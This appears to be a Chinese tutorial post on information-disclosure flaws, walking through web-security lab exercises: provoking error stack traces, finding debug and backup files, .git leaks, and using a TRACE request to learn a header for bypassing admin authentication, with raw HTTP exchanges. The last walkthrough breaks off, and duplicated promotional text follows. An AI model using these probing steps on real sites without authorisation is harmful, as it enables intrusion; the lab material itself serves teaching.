3. 漏洞利用
1. 探测漏洞存在
渗透测试的一项关键技能是能够随时随地识别有价值的信息。下面的几个具体方法可以用来探测漏洞是否存在:
- 输入混淆的参数
一旦对某个参数感兴趣,可以将该参数值进行混淆输入,观察应用响应。这一步可使用Burp爆破模块进行大量自动化的混淆测试。
- 使用扫描器对网站进行扫描
- 使用Burp或其他相关工具探寻信息
- search-能在监测的所有数据包中快速筛选指定内容。
- find comments-在检测的所有数据包和文件中,快速查找注释
- discover content-内容探测,发现隐藏的路径、敏感信息和文件
- 使用各种方式,诱使应用响应报错信息
2. 报错信息中的信息泄露
例题1
3. 隐藏路径中包含敏感信息
例题2
4. 通过备份文件查看源代码
例题 3
5. 错误配置导致信息泄露
例题4
6. 版本控制历史信息泄露
在开发阶段经常使用版本控制系统,例如Git 在路径扫描中有时能发现路径/.git
可在攻击端安装Git,直接拉取下载,来获取部分源代码
例题5
4. 漏洞实例
1. 错误消息中的信息泄漏(Information disclosure in error messages)
- 目标
获取使用框架的版本号
- 解题思路
抓取数据包/product?productId=20
随意在后面加个特殊符号如'
尝试引起报错。
HTTP/1.1 500 Internal Server Error
Connection: close
Content-Length: 1511
Internal Server Error: java.lang.NumberFormatException: For input string: "20'"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:668)
at java.base/java.lang.Integer.parseInt(Integer.java:786)
.......
at java.base/java.lang.Thread.run(Thread.java:833)
Apache Struts 2 2.3.31
获取到框架及其版本号
2. 调试页面上的信息泄露(Information disclosure on debug page)
- 目标
获取SECRET_KEY
- 解题思路
通过路径扫描,发现/cgi-bin/phpinfo
3. 通过备份文件泄露源代码(Source code disclosure via backup files)
- 目标
获取部分源代码,找到数据库密码
- 解题思路
- 存在
/robots.txt
- 存在
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 32
User-agent: \*
Disallow: /backup
- 访问
/backup
存在源代码备份,从中找到数据库密码
4. 通过信息泄露绕过身份验证(Authentication bypass via information disclosure)
- 目标
指定header为本地的用户才有权限访问admin, 删除账户carlos
测试账户:wiener:peter
- 解题思路
- 扫描发现
/admin
页面,尝试访问。
- 扫描发现
Admin interface only available to local users
- 使用TRACE 方法 访问该页面发现
X-Custom-IP-Authorization: IP
TRACE /admin/ HTTP/1.1
Host: acd91ff31f481bb2c0acb121008d007b.web-security-academy.net
Origin: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Cookie: session=CdwDkeDYoxOtc7RD83dIx71oQaL2kwRx
HTTP/1.1 200 OK
Content-Type: message/http
Connection: close
Content-Length: 416
TRACE /admin/ HTTP/1.1
Host: acd91ff31f481bb2c0acb121008d007b.web-security-academy.net
Origin: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close


**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.youkuaiyun.com/topics/618545628)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.youkuaiyun.com/topics/618545628)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**